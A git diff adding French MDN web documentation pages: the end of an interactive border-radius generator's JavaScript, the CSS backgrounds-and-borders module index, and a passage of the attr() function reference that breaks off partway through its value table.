+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	}
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	}
+
+	var setValue = function setValue(topic, value) {
+		try {
+			buttons[topic].checkbox.checked = value;
+		}
+		catch(error) {
+			console.log(error);
+		}
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new CheckBox(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+
+window.addEventListener("load", function() {
+	BorderRadius.init();
+});
+
+var BorderRadius = (function BorderRadius() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	/**
+	 * Shadow dragging
+	 */
+	var PreviewMouseTracking = (function Drag() {
+		var active = false;
+		var lastX = 0;
+		var lastY = 0;
+		var subscribers = [];
+
+		var init = function init(id) {
+			var elem = getElemById(id);
+			elem.addEventListener('mousedown', dragStart, false);
+			document.addEventListener('mouseup', dragEnd, false);
+		}
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			active = true;
+			lastX = e.clientX;
+			lastY = e.clientY;
+			document.addEventListener('mousemove', mouseDrag, false);
+		}
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			if (active === true) {
+				active = false;
+				document.removeEventListener('mousemove', mouseDrag, false);
+			}
+		}
+
+		var mouseDrag = function mouseDrag(e) {
+			notify(e.clientX - lastX, e.clientY - lastY);
+			lastX = e.clientX;
+			lastY = e.clientY;
+		}
+
+		var subscribe = function subscribe(callback) {
+			subscribers.push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			var index = subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(deltaX, deltaY) {
+			for (var i in subscribers)
+				subscribers[i](deltaX, deltaY);
+		}
+
+		return {
+			init : init,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	var subject;
+	var units = ['px', '%'];
+	var output = null;
+
+	var UnitSelector = function UnitSelector(topic) {
+
+		this.container = document.createElement("div");
+		this.select = document.createElement("select");
+		for (var i in units) {
+			var option = document.createElement("option");
+			option.value = i;
+			option.textContent = units[i];
+			this.select.appendChild(option);
+		}
+
+		this.container.className = 'dropdown ' + 'unit-' + topic;
+		this.container.appendChild(this.select);
+	}
+
+	UnitSelector.prototype.setValue = function setValue(value) {
+		this.salect.value = value;
+	}
+
+
+	var RadiusContainer = function RadiusContainer(node) {
+		var radius = document.createElement('div');
+		var handle = document.createElement('div');
+		var x = node.getAttribute('data-x');
+		var y = node.getAttribute('data-y');
+		var active = false;
+
+		this.id = node.id;
+		this.node = node;
+		this.radius = radius;
+		this.handle = handle;
+		this.width = 100;
+		this.height = 50;
+		this.size = 0;
+		this.rounded = false;
+
+		this.unitX = 0;
+		this.unitY = 0;
+		this.unitR = 0;
+
+		this.maxW = 100;
+		this.maxH = 100;
+		this.maxR = 100;
+
+		this.topic = y + '-' + x;
+
+		var sliderW = InputSliderManager.getNode(this.topic + '-w');
+		var sliderH = InputSliderManager.getNode(this.topic + '-h');
+		var sliderR = InputSliderManager.getNode(this.topic);
+
+		this.setUnitX(this.unitX);
+		this.setUnitY(this.unitY);
+		this.setUnitR(this.unitR);
+
+		this.updateWidth();
+		this.updateHeight();
+		this.updateRadius();
+
+		if (x === 'left')	this.resizeX =  1;
+		if (x === 'right')	this.resizeX = -1;
+		if (y === 'top')	this.resizeY =  1;
+		if (y === 'bottom')	this.resizeY = -1;
+
+		radius.className = 'radius';
+
+		var unit_selector = document.getElementById("unit-selection");
+		var unitW = new UnitSelector(this.topic + '-w');
+		var unitH = new UnitSelector(this.topic + '-h');
+		var unitR = new UnitSelector(this.topic);
+
+		unit_selector.appendChild(unitW.container);
+		unit_selector.appendChild(unitH.container);
+		unit_selector.appendChild(unitR.container);
+		node.appendChild(radius);
+		subject.appendChild(handle);
+
+		unitW.select.addEventListener('change', function(e) {
+			this.setUnitX(e.target.value | 0);
+		}.bind(this));
+
+		unitH.select.addEventListener('change', function(e) {
+			this.setUnitY(e.target.value | 0);
+		}.bind(this));
+
+		unitR.select.addEventListener('change', function(e) {
+			this.setUnitR(e.target.value | 0);
+		}.bind(this));
+
+		if (x === 'left' &amp;&amp; y == 'top') handle.className = 'handle handle-top-left'
+		if (x === 'right' &amp;&amp; y == 'top') handle.className = 'handle handle-top-right';
+		if (x === 'right' &amp;&amp; y == 'bottom') handle.className = 'handle handle-bottom-right';
+		if (x === 'left' &amp;&amp; y == 'bottom') 	handle.className = 'handle handle-bottom-left';
+
+		handle.addEventListener("mousedown", function(e) {
+			active = true;
+			this.radius.style.display = 'block';
+			PreviewMouseTracking.subscribe(this.updateContainer.bind(this));
+		}.bind(this));
+
+		document.addEventListener("mouseup", function(e) {
+			this.radius.style.display = 'none';
+			if (active === true)
+				PreviewMouseTracking.unsubscribe(this.updateContainer.bind(this));
+		}.bind(this));
+
+		InputSliderManager.subscribe(this.topic + '-w', this.setWidth.bind(this));
+		InputSliderManager.subscribe(this.topic + '-h', this.setHeight.bind(this));
+		InputSliderManager.subscribe(this.topic, this.setRadius.bind(this));
+
+		ButtonManager.subscribe(this.topic, function(value) {
+			this.rounded = value;
+			if (value === true) {
+				unitW.container.style.display = 'none';
+				unitH.container.style.display = 'none';
+				unitR.container.style.display = 'block';
+				sliderW.style.display = 'none';
+				sliderH.style.display = 'none';
+				sliderR.style.display = 'block';
+				this.setUnitR(this.unitR);
+				this.updateRadius();
+			}
+
+			if (value === false) {
+				unitW.container.style.display = 'block';
+				unitH.container.style.display = 'block';
+				unitR.container.style.display = 'none';
+				sliderW.style.display = 'block';
+				sliderH.style.display = 'block';
+				sliderR.style.display = 'none';
+				this.setUnitX(this.unitX);
+				this.setUnitY(this.unitY);
+				this.updateWidth();
+				this.updateHeight();
+			}
+
+			this.updateBorderRadius();
+
+		}.bind(this));
+
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.updateWidth = function updateWidth() {
+		this.node.style.width = this.width + units[this.unitX];
+		var value = Math.round(this.width / 2);
+		InputSliderManager.setValue(this.topic + '-w', value, false);
+	}
+
+	RadiusContainer.prototype.updateHeight = function updateHeight() {
+		this.node.style.height = this.height + units[this.unitY];
+		var value = Math.round(this.height / 2);
+		InputSliderManager.setValue(this.topic + '-h', value, false);
+	}
+
+	RadiusContainer.prototype.updateRadius = function updateRadius() {
+		var value = Math.round(this.size / 2);
+		this.node.style.width = this.size + units[this.unitR];
+		this.node.style.height = this.size + units[this.unitR];
+		InputSliderManager.setValue(this.topic, value, false);
+	}
+
+	RadiusContainer.prototype.setWidth = function setWidth(value) {
+		this.radius.style.display = 'block';
+		this.width = 2 * value;
+		this.node.style.width = this.width + units[this.unitX];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setHeight = function setHeight(value) {
+		this.radius.style.display = 'block';
+		this.height = 2 * value;
+		this.node.style.height = this.height + units[this.unitY];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setRadius = function setRadius(value) {
+		this.radius.style.display = 'block';
+		this.size = 2 * value;
+		this.node.style.width = this.size + units[this.unitR];
+		this.node.style.height = this.size + units[this.unitR];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setUnitX = function setUnitX(value) {
+		this.unitX = value;
+		if (this.unitX === 0) this.maxW = 2 * subject.clientWidth;
+		if (this.unitX === 1) this.maxW = 200;
+		InputSliderManager.setUnit(this.topic + '-w', units[this.unitX]);
+		InputSliderManager.setMax(this.topic + '-w', this.maxW / 2);
+	}
+
+	RadiusContainer.prototype.setUnitY = function setUnitY(value) {
+		this.unitY = value;
+		if (this.unitY === 0) this.maxH = 2 * subject.clientHeight;
+		if (this.unitY === 1) this.maxH = 200;
+		InputSliderManager.setUnit(this.topic + '-h', units[this.unitY]);
+		InputSliderManager.setMax(this.topic + '-h', this.maxH / 2);
+	}
+
+	RadiusContainer.prototype.setUnitR = function setUnitR(value) {
+		this.unitR = value;
+
+		if (this.unitR === 0)
+			this.maxR = 2 * Math.min(subject.clientHeight , subject.clientWidth);
+
+		if (this.unitR === 1)
+			this.maxR = 200;
+
+		InputSliderManager.setUnit(this.topic, units[this.unitR]);
+		InputSliderManager.setMax(this.topic, this.maxR / 2);
+	}
+
+	RadiusContainer.prototype.updateUnits = function updateUnits(unit) {
+		if (this.rounded) {
+			this.setUnitR(this.unitR);
+			return;
+		}
+
+		if (unit === 0)
+			this.setUnitX(this.unitX);
+
+		if (unit === 1)
+			this.setUnitY(this.unitY);
+	}
+
+	RadiusContainer.prototype.composeBorderRadius = function composeBorderRadius () {
+
+		if (this.rounded === true) {
+			var unit = units[this.unitR];
+			var value = Math.round(this.size / 2);
+			return value + unit;
+		}
+
+		var unitX = units[this.unitX];
+		var unitY = units[this.unitY];
+		var valueX = Math.round(this.width / 2);
+		var valueY = Math.round(this.height / 2);
+
+		if (valueX === valueY &amp;&amp; this.unitX === this.unitY)
+			return valueX + unitX;
+
+		return valueX + unitX + ' ' + valueY + unitY;
+	}
+
+	RadiusContainer.prototype.updateBorderRadius = function updateBorderRadius () {
+		var radius = this.composeBorderRadius();
+		var corner = 0;
+
+		if (this.topic === 'top-left') {
+			subject.style.borderTopLeftRadius = radius;
+			corner = 0;
+		}
+
+		if (this.topic === 'top-right') {
+			subject.style.borderTopRightRadius = radius;
+			corner = 1;
+		}
+
+		if (this.topic === 'bottom-right') {
+			subject.style.borderBottomRightRadius = radius;
+			corner = 2;
+		}
+
+		if (this.topic === 'bottom-left') {
+			subject.style.borderBottomLeftRadius = radius;
+			corner = 3;
+		}
+
+		Tool.updateOutput(corner, radius);
+	}
+
+	RadiusContainer.prototype.updateContainer = function updateContainer(deltaX, deltaY) {
+
+		if (this.rounded === true) {
+			this.size += this.resizeX * deltaX + this.resizeY * deltaY;
+			if (this.size &lt; 0)	this.size = 0;
+			if (this.size &gt; this.maxR)	this.size = this.maxR;
+			this.updateRadius();
+			this.updateBorderRadius();
+			return;
+		}
+
+		if (deltaX) {
+			this.width += this.resizeX * deltaX;
+			if (this.width &lt; 0)	this.width = 0;
+			if (this.width &gt; this.maxW)	this.width = this.maxW;
+			this.updateWidth();
+		}
+
+		if (deltaY) {
+			this.height += this.resizeY * deltaY;
+			if (this.height &lt; 0) this.height = 0;
+			if (this.height &gt; this.maxH)	this.height = this.maxH;
+			this.updateHeight();
+		}
+
+		if (deltaX || deltaY)
+			this.updateBorderRadius();
+	}
+
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+		var preview;
+		var preview_ui;
+		var radius_containers = [];
+		var border_width = 3;
+		var borders1 = [null, null, null, null];
+		var borders2 = [0, 0, 0, 0];
+
+		var updateUIWidth = function updateUIWidth(value) {
+			var pwidth = subject.parentElement.clientWidth;
+			var left = (pwidth - value) / 2;
+			subject.style.width = value + "px";
+
+			for (var i = 0; i &lt; 4; i++)
+				radius_containers[i].updateUnits(0);
+		}
+
+		var updateUIHeight = function updateUIHeight(value) {
+			var pheight = subject.parentElement.clientHeight;
+			var top = (pheight - value) / 2;
+			subject.style.height = value + "px";
+			subject.style.top = top - border_width + "px";
+
+			for (var i = 0; i &lt; 4; i++)
+				radius_containers[i].updateUnits(1);
+		}
+
+		var updatePreviewUIWidth = function updatePreviewUIWidth() {
+			var p = subject.parentElement.clientWidth;
+			var v = preview_ui.clientWidth;
+			console.log(p, v, (p - v ) / 2);
+			preview_ui.style.left = (p - v) / 2 + "px" ;
+		}
+
+		var updatePreviewUIHeight = function updatePreviewUIHeight() {
+			var p = subject.parentElement.clientHeight;
+			var v = preview_ui.clientHeight;
+			console.log(p, v, (p - v ) / 2);
+			preview_ui.style.top = (p - v) / 2 + "px" ;
+		}
+
+		var updateOutput = function updateOutput(corner, radius) {
+			var values = radius.split(" ");
+
+			borders1[corner] = values[0];
+			borders2[corner] = values[0];
+
+			if (values.length === 2)
+				borders2[corner] = values[1];
+
+			var border_1_value = borders1.join(" ");
+			var border_2_value = borders2.join(" ");
+			var border_radius = 'border-radius: ' + border_1_value;
+
+			if (border_2_value !== border_1_value)
+				border_radius += ' / ' + border_2_value;
+
+			border_radius += ';';
+			output.textContent = border_radius;
+		}
+
+		var init = function init() {
+			preview = getElemById("preview");
+			subject = getElemById("subject");
+			output = getElemById("output");
+			preview_ui = getElemById("radius-ui-sliders");
+
+			var elem = document.querySelectorAll('.radius-container');
+			var size = elem.length;
+			for (var i = 0; i &lt; size; i++)
+				radius_containers[i] = new RadiusContainer(elem[i]);
+
+			InputSliderManager.subscribe("width", updateUIWidth);
+			InputSliderManager.subscribe("height", updateUIHeight);
+
+			InputSliderManager.setValue("width", subject.clientWidth);
+			InputSliderManager.setValue("height", subject.clientHeight);
+		}
+
+		return {
+			init : init,
+			updateOutput : updateOutput
+		}
+
+	})();
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		ButtonManager.init();
+		InputSliderManager.init();
+		PreviewMouseTracking.init("preview");
+		Tool.init();
+	}
+
+	return {
+		init : init
+	}
+
+})();
+
+
+</code></pre>
+</div>
+
+<p>{{EmbedLiveSample('border-radius-generator', '100%', '800px', '')}}</p>
diff --git a/files/fr/web/css/arrière-plans_et_bordures_css/index.html b/files/fr/web/css/arrière-plans_et_bordures_css/index.html
new file mode 100644
index 0000000000..0b024147af
--- /dev/null
+++ b/files/fr/web/css/arrière-plans_et_bordures_css/index.html
@@ -0,0 +1,161 @@
+---
+title: Arrière-plans et bordures CSS
+slug: Web/CSS/Arrière-plans_et_bordures_CSS
+tags:
+  - CSS
+  - Référence(2)
+translation_of: Web/CSS/CSS_Backgrounds_and_Borders
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>Les arrière-plans et bordures CSS</strong> forment un module CSS qui définit la façon dont les arrière-plans et les bordures des éléments sont décrits. Les bordures peuvent ainsi être des lignes ou des images et les boîtes peuvent avoir un ou plusieurs arrière-plan, des coins arrondis, des ombres.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés_CSS">Propriétés CSS</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("background")}}</li>
+ <li>{{cssxref("background-attachment")}}</li>
+ <li>{{cssxref("background-clip")}}</li>
+ <li>{{cssxref("background-color")}}</li>
+ <li>{{cssxref("background-image")}}</li>
+ <li>{{cssxref("background-origin")}}</li>
+ <li>{{cssxref("background-position")}}</li>
+ <li>{{cssxref("background-repeat")}}</li>
+ <li>{{cssxref("background-size")}}</li>
+ <li>{{cssxref("border")}}</li>
+ <li>{{cssxref("border-bottom")}}</li>
+ <li>{{cssxref("border-bottom-color")}}</li>
+ <li>{{cssxref("border-bottom-left-radius")}}</li>
+ <li>{{cssxref("border-bottom-right-radius")}}</li>
+ <li>{{cssxref("border-bottom-style")}}</li>
+ <li>{{cssxref("border-bottom-width")}}</li>
+ <li>{{cssxref("border-collapse")}}</li>
+ <li>{{cssxref("border-color")}}</li>
+ <li>{{cssxref("border-image")}}</li>
+ <li>{{cssxref("border-image-outset")}}</li>
+ <li>{{cssxref("border-image-repeat")}}</li>
+ <li>{{cssxref("border-image-slice")}}</li>
+ <li>{{cssxref("border-image-source")}}</li>
+ <li>{{cssxref("border-image-width")}}</li>
+ <li>{{cssxref("border-left")}}</li>
+ <li>{{cssxref("border-left-color")}}</li>
+ <li>{{cssxref("border-left-style")}}</li>
+ <li>{{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("border-radius")}}</li>
+ <li>{{cssxref("border-right")}}</li>
+ <li>{{cssxref("border-right-color")}}</li>
+ <li>{{cssxref("border-right-style")}}</li>
+ <li>{{cssxref("border-right-width")}}</li>
+ <li>{{cssxref("border-style")}}</li>
+ <li>{{cssxref("border-top")}}</li>
+ <li>{{cssxref("border-top-color")}}</li>
+ <li>{{cssxref("border-top-left-radius")}}</li>
+ <li>{{cssxref("border-top-right-radius")}}</li>
+ <li>{{cssxref("border-top-style")}}</li>
+ <li>{{cssxref("border-top-width")}}</li>
+ <li>{{cssxref("border-width")}}</li>
+ <li>{{cssxref("box-shadow")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/CSS_Background_and_Borders/Utiliser_des_fonds_multiples">Utiliser plusieurs arrière-plans CSS</a></dt>
+ <dd>Cet article explique comment définir plusieurs arrière-plans sur des éléments et la façon dont ceux-ci interagissent.</dd>
+ <dt><a href="/fr/docs/Web/CSS/CSS_Background_and_Borders/Scaling_background_images">Redimensionner des images d'arrière-plan</a></dt>
+ <dd>Cet article décrit comment modifier l'apparence des images d'arrière-plan en les étirant ou en les retirant afin de couvrir (ou non) tout un élément.</dd>
+</dl>
+
+<h2 id="Outils">Outils</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/Arrière-plans_et_bordures_CSS/Générateur_border-image">Générateur de <code>border-image</code></a></dt>
+ <dd>Cet outil interactif permet de créer, de façon visuelle, des bordures avec images pour {{cssxref("border-image")}}.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Arrière-plans_et_bordures_CSS/Générateur_border-radius">Générateur de <code>border-radius</code></a></dt>
+ <dd>Cet outil interactif permet de créer des bordures arrondies pour {{cssxref("border-radius")}}.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Modèle_de_boîte_CSS/Générateur_box-shadow">Générateur de <code>box-shadow</code></a></dt>
+ <dd>Cet outil interactif permet de créer des ombres portées derrière les éléments avec {{cssxref("box-shadow")}}.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>4.0</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.2")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/css/attr()/index.html b/files/fr/web/css/attr()/index.html
new file mode 100644
index 0000000000..5fcae4a665
--- /dev/null
+++ b/files/fr/web/css/attr()/index.html
@@ -0,0 +1,254 @@
+---
+title: attr()
+slug: Web/CSS/attr()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+translation_of: Web/CSS/attr()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>attr()</code></strong> est utilisée afin de récupérer la valeur d'un attribut d'un élément pour l'utiliser dans la feuille de style. Cette fonction peut également être utilisée sur <a href="/fr/docs/Web/CSS/Pseudo-elements">les pseudo-éléments</a> auquel cas c'est la valeur correspondant à l'élément source qui est renvoyée.</p>
+
+<pre class="brush:css no-line-numbers notranslate">/* Utilisation simple */
+attr(data-count);
+attr(title);
+
+/* Avec un type */
+attr(src url);
+attr(data-count number);
+attr(data-width px);
+
+/* Avec une valeur par défaut */
+attr(data-count number, 0);
+attr(src url, "");
+attr(data-width px, inherit);
+attr(data-something, "default");
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> La fonction <code>attr()</code> peut être utilisée sur n'importe quelle propriété CSS. Toutefois, en dehors de {{cssxref("content")}}, la prise en charge des navigateurs est expérimentale. Voir le tableau de compatibilité en fin d'article.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>attribute-name</code></dt>
+ <dd>Le nom de l'attribut de l'élément HTML ciblé par la déclaration CSS.</dd>
+ <dt><code>&lt;type-or-unit&gt;</code> {{experimental_inline}}</dt>
+ <dd>Un mot-clé indiquant le type de valeur pour l'attribut ou l'unité dans laquelle elle est exprimée. Si la valeur <code>&lt;type-or-unit&gt;</code> est invalide pour l'attribut ciblé, l'expression <code>attr()</code> sera également considérée comme invalide. Si cette valeur est absente, elle vaudra <code>string</code> par défaut. La liste des valeurs valides est :
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">Mot-clé</th>
+    <th scope="col">Type associé</th>
+    <th scope="col">Commentaires</th>
+    <th scope="col">Valeur par défaut</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>string</code></td>
+    <td>{{cssxref("&lt;string&gt;")}}</td>
+    <td>La valeur de l'attribut est traitée comme une chaîne de caractères. Elle n'est pas réanalysée et les caractères sont utilisés tels quels (les échappements CSS ne sont pas transformés).</td>
+    <td>Une chaîne vide.</td>
+   </tr>
+   <tr>
+    <td><code>color</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;color&gt;")}}</td>
+    <td>La valeur de l'attribut est analysée comme un code sur 3 ou 6 chiffres ou comme un mot-clé. Elle doit être une valeur {{cssxref("&lt;string&gt;")}} valide. Les blancs en début et en fin de chaîne sont supprimés.</td>
+    <td><code>currentColor</code></td>
+   </tr>
+   <tr>
+    <td><code>url</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;uri&gt;")}}</td>
+    <td>La valeur de l'attribut est analysée comme une chaîne, utilisée dans une fonction <code>url()</code>.<br>
+     Une URL relative sera résolue par rapport au document original et non par rapport à la feuille de style. Les blancs en début et en fin de chaîne sont supprimés.</td>
+    <td>L'URL <code>about:invalid</code> qui pointe vers un document inexistant.</td>
+   </tr>
+   <tr>
+    <td><code>integer</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;integer&gt;")}}</td>
+    <td>La valeur de l'attribut est analysée comme un entier ({{cssxref("&lt;integer&gt;")}}). Si elle n'est pas valide (si ce n'est pass un entier ou s'il sort de l'intervalle autorisé par la propriété), ce sera la valeur par défaut qui sera utilisée.<br>
+     Les blancs en début et en fin de chaîne sont supprimés.</td>
+    <td><code>0</code>, ou, si <code>0</code> n'est pas valide, la valeur minimale de la propriété.</td>
+   </tr>
+   <tr>
+    <td><code>number</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;number&gt;")}}</td>
+    <td>La valeur de l'attribut est analysée comme un nombre ({{cssxref("&lt;number&gt;")}}). Si elle n'est pas valide (si ce n'est pas un nombre ou que celui-ci sort de l'intervalle autorisé par la propriété), ce sera la valeur par défaut qui sera utilisée.<br>
+     Les blancs en début et en fin de chaîne sont supprimés.</td>
+    <td><code>0</code>, ou, si <code>0</code> n'est pas valide, la valeur minimale de la propriété.</td>
+   </tr>
+   <tr>
+    <td><code>length</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;length&gt;")}}</td>
+    <td>
+     <p>La valeur de l'attribut est analysée comme une longueur ({{cssxref("&lt;length&gt;")}}) et inclut l'unité (par exemple <code>12.5em</code>). Si la valeur n'est pas valide (si ce n'est pas une longueur ou que celle-ci sort de l'intervalle autorisé par la propriété), ce sera la valeur par défaut qui sera utilisée.<br>
+      Si l'unité fournie est une unité relative, <code>attr()</code> calculera la valeur absolue correspondante. Les blancs en début et en fin de chaîne sont supprimés.</p>
+    </td>
+    <td><code>0</code>, ou, si <code>0</code> n'est pas valide, la valeur minimale de la propriété.</td>
+   </tr>
+   <tr>
+    <td><code>em</code>, <code>ex</code>, <code>px</code>, <code>rem</code>, <code>vw</code>, <code>vh</code>, <code>vmin</code>, <code>vmax</code>, <code>mm</code>, <code>cm</code>, <code>in</code>, <code>pt</code>, or <code>pc</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;length&gt;")}}</td>
+    <td>La valeur de l'attribut est analysée comme un nombre ({{cssxref("&lt;number&gt;")}}) (il n'y a pas d'unité) et interprétée comme une longueur ({{cssxref("&lt;length&gt;")}}) grâce à l'unité passée comme argument. Si la valeur n'est pas valide (ce n'est pas un nombre ou celui-ci sort de l'intervalle autorisé par la propriété), ce sera la valeur par défaut qui sera utilisée.<br>
+     Si l'unité indiquée est une unité de longueur relative, <code>attr()</code> calculera la valeur absolue correspondante.<br>
+     Les blancs en début et en fin de chaîne sont supprimés.</td>
+    <td><code>0</code>, ou, si <code>0</code> n'est pas valide, la valeur minimale de la propriété.</td>
+   </tr>
+   <tr>
+    <td><code>angle</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;angle&gt;")}}</td>
+    <td>La valeur de l'attribut est analysée comme un angle ({{cssxref("&lt;angle&gt;")}}) et inclut l'unité (par exemple <code>30.5deg</code>). Si la valeur n'est pas valide (si ce n'est pas un angle ou si la valeur sort de l'intervalle autorisé par la propriété CSS), ce sera la valeur par défaut qui sera utilisée.<br>
+     Les blancs en début et en fin de chaîne sont supprimés.</td>
+    <td><code>0deg</code>, ou, si <code>0deg</code> n'est pas valide, la valeur minimale de la propriété.</td>
+   </tr>
+   <tr>
+    <td><code>deg</code>, <code>grad</code>, <code>rad</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;angle&gt;")}}</td>
+    <td>
+     <p>La valeur de l'attribut est analysée comme un nombre ({{cssxref("&lt;number&gt;")}}) (il n'y a pas d'unité) et est interprétée comme un angle ({{cssxref("&lt;angle&gt;")}}) avec l'unité indiquée en paramètre. Si la vlaeur n'est pas vliade (ce n'est pas un nombre ou celui-ci sort de l'intervalle autorisé par la propriété), ce sera la valeur par défaut qui sera utilisée.<br>
+      Les blancs en début et en fin de chaîne sont supprimés.</p>
+    </td>
+    <td><code>0deg</code>, ou, si <code>0deg</code> n'est pas valide, la valeur minimale de la propriété.</td>
+   </tr>
+   <tr>
+    <td><code>time</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;time&gt;")}}</td>
+    <td>La valeur de l'attribut est analysée comme une durée ({{cssxref("&lt;time&gt;")}}) et inclut l'unité (par exemple <code>30.5ms</code>). Si elle n'est pas valide (la valeur n'est pas une durée ou n'est pas comprise dans l'intervalle autorisée), ce sera la valeur par défaut qui sera utilisée.<br>
+     Les blancs en début et en fin de chaîne sont supprimés.</td>
+    <td><code>0s</code>, ou, si <code>0s</code> n'est pas valide, la valeur minimale de la propriété.</td>
+   </tr>
+   <tr>
+    <td><code>s</code>, <code>ms</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;time&gt;")}}</td>
+    <td>La valeur de l'attribut est analysée comme un nombre ({{cssxref("&lt;number&gt;")}}) sans unité (par exemple <code>12.5</code>) et est interprétée comme une durée ({{cssxref("&lt;time&gt;")}}) grâce à l'unité passée en paramètre. Si la valeur n'est pas valide (ce n'est pas un nombre ou celui-ci n'est pas compris dans l'intervalle autorisé), ce sera la valeur par défaut qui sera utilisée.<br>
+     Les blancs en début et en fin de chaîne sont supprimés.</td>
+    <td><code>0s</code>, ou, si <code>0s</code> n'est pas valide, la valeur minimale de la propriété.</td>
+   </tr>
+   <tr>
+    <td><code>frequency</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;frequency&gt;")}}</td>
